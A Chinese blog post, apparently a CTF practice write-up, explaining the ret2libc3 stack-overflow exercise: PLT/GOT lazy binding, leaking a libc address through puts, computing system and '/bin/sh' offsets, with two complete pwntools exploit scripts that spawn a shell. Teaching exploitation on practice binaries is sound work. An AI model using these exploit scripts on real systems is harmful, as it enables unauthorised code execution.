基本ROP之ret2libc3

ret2libc思路

ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址。

这里为什么不能跳转到got表呢?
  • plt表里面的地址对应的指令
  • got表里面的地址对应的是地址
  • 而返回地址必须保存一段有效的汇编指令,因此必须用plt表。

ret2libc通常可以分为下面这几类:

  • 程序中自身就含有system函数和"/bin/sh"字符串
  • 程序中自身就有system函数,但是没有"/bin/sh"字符串
  • 程序中自身就没有system函数和"/bin/sh"字符串,但给出了libc.so文件
  • 程序中自身就没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件

不管程序没有直接给出我们需要条件,我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址;当程序中没有"/bin/sh"字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中,并且要可以找到其地址;对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串,因为libc.so文件中也是包含了这些的;最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个

例题

最后一种:无system函数无/bin/sh字符串无libc.so文件

下载地址

checksec + IDA

[*] '/mnt/hgfs/ubuntu_share/pwn/wiki/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

  • 发现依旧是栈溢出
  • 但是并没有查找到system函数
  • /bin/sh字符串也没有
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# objdump -d ret2libc3 | grep 'plt'
 8048415:	e8 56 00 00 00       	call   8048470 <__gmon_start__@plt>
Disassembly of section .plt:
08048420 <printf@plt-0x10>:
08048430 <printf@plt>:
08048440 <gets@plt>:
08048450 <time@plt>:
08048460 <puts@plt>:
08048470 <__gmon_start__@plt>:
08048480 <srand@plt>:
08048490 <__libc_start_main@plt>:
080484a0 <setvbuf@plt>:
080484b0 <rand@plt>:
080484c0 <__isoc99_scanf@plt>:

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary ret2libc3 --string "/bin/sh"
Strings information
============================================================

  • 但是在plt表中发现了puts函数。

libc的延迟绑定

动态链接的程序是在运行时需要对全局和静态数据访问进行GOT定位,然后间接寻址。同样,对于模块间的调用也需要GOT定位,再才间接跳转,这么做势必会影响到程序的运行速度。而且程序在运行时很大一部分函数都可能用不到,于是ELF采用了当函数第一次使用时才进行绑定的思想,也就是我们所说的延迟绑定。ELF实现 延迟绑定 是通过 PLT ,原先 GOT 中存放着全局变量和函数调用,现在把他拆成另个部分 .got 和 .got.plt,用 .got 存放着全局变量引用,用 .got.plt 存放着函数引用。

简而言之,一个函数被调用过以后,got表里保存了它在内存中的地址,可以通过泄露got表内存来泄露函数地址,就可以根据其与libc中该函数的偏移计算其他函数在内存空间中的地址。因为libc中任意两个函数之间的偏移是固定的。

如:计算system函数在内存空间中的函数地址。

  • 拿到__libc_start_main函数在内存空间中的地址addr_main
  • __libc_start_main函数相对于libc.so.6的起始地址是addr_a
  • system函数相对于libc.so.6的起始地址是addr_b
  • 则system函数在内存中真正的地址为addr_main + addr_b - addr_a

libcSearcher工具

该工具的安装及使用方法在其readme上已经描述的很清楚

这里不再赘述

主要就是使用该工具查找libc中函数的相对位置。

解题思路

  • 利用栈溢出及puts函数泄露出在got表中__libc_start_main函数的地址(也可以是其他函数)
  • puts函数的返回地址为_start函数(也可以是main函数,这两个函数的区别稍后再说)
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
  • 所以我们的泄露依旧可以判断出libc的版本。
  • 我们利用泄露出来的函数地址的最低12位计算system函数和/bin/sh字符串在内存中正确的地址
  • 重新填充即可

两种Exp编写

第一种,使用_start作为puts函数的返回地址

查找__libc_start_main函数在got表的地址

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# objdump -R ret2libc3 

ret2libc3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a040 R_386_COPY        stdin@@GLIBC_2.0
0804a060 R_386_COPY        stdout@@GLIBC_2.0
0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   gets@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   time@GLIBC_2.0
0804a018 R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __gmon_start__
0804a020 R_386_JUMP_SLOT   srand@GLIBC_2.0
0804a024 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a028 R_386_JUMP_SLOT   setvbuf@GLIBC_2.0
0804a02c R_386_JUMP_SLOT   rand@GLIBC_2.0
0804a030 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

  • _start函数地址在IDA中可查询
  • plt表中puts函数的地址在上文中查询到了
from pwn import *

sh = process('ret2libc3')

start_addr = 0x080484D0
put_plt = 0x08048460
libc_main_addr = 0x0804a024


payload = 112 * 'a' + p32(put_plt) + p32(start_addr) + p32(libc_main_addr)

sh.recv()
sh.sendline(payload)

libc_real_addr = u32(sh.recv(4))

print "real_addr is:" + hex(libc_real_addr)

sh.recv()

addr_base = libc_real_addr - 0x018540

system_addr = addr_base + 0x03a940
string_addr = addr_base + 0x15902b

print "system addr is:" + hex(system_addr)
print "string_addr is:" + hex(string_addr)

payload = 112 * 'a' + p32(system_addr) + "aaaa" + p32(string_addr)

sh.sendline(payload)

sh.interactive()

吐槽一下LibcSearcher,搜到的libc中的偏移找到了4个libc,我依次试了一下,都不对。
然后用这个网站查询的偏移,直接就打通了。

  • 在上边的框中填入最低12位
  • 选择一个libc
  • 使用下面框中的偏移进行计算

第二种,以main函数作为返回地址

from pwn import *

sh = process('ret2libc3')

#start_addr = 0x080484D0
start_addr = 0x08048618
put_plt = 0x08048460
libc_main_addr = 0x0804a024


payload = 112 * 'a' + p32(put_plt) + p32(start_addr) + p32(libc_main_addr)

sh.recv()
sh.sendline(payload)

libc_real_addr = u32(sh.recv(4))

print "real_addr is:" + hex(libc_real_addr)

sh.recv()

addr_base = libc_real_addr - 0x018540

system_addr = addr_base + 0x03a940
string_addr = addr_base + 0x15902b

print "system addr is:" + hex(system_addr)
print "string_addr is:" + hex(string_addr)

payload = 104 * 'a' + p32(system_addr) + "aaaa" + p32(string_addr)

sh.sendline(payload)

sh.interactive()

  • 两种exp的编写只有两个不同
  • _start函数地址变为main函数地址
  • 最后偏移112个a变成104个a
  • 这里就要说下main函数和_start函数的区别

main函数与_start函数区别

简单地说,main()函数是用户代码的入口,是对用户而言的;而_start()函数是系统代码的入口,是程序真正的入口。

我们可以看下本题的_start()函数内容,其包含main()和__libc_start_main()函数的调用,也就是说,它才是程序真正的入口

  • _start函数比main函数多了一个堆栈平衡(栈对齐)的操作,如下图所示,使用了and进行栈对齐
  • 详细解释:_start函数有一句and esp, 0FFFFFFF0h进行了堆栈平衡,可以自己写个demo试一下,在and语句之前,esp的值是0xffffade8,而经过and之后,esp的值就变为了0xffffade0。所以问题就出在 _start函数的and语句,要是直接返回main函数就相当于少了一个and操作,esp的位置也就多了8。(栈的内存增长相反,即栈空间少了8)

读者可再补充一下动态编译,plt表及got表的知识

发布了280 篇原创文章 · 获赞 68 · 访问量 26万+

猜你喜欢

转载自blog.csdn.net/AcSuccess/article/details/104335514
今日推荐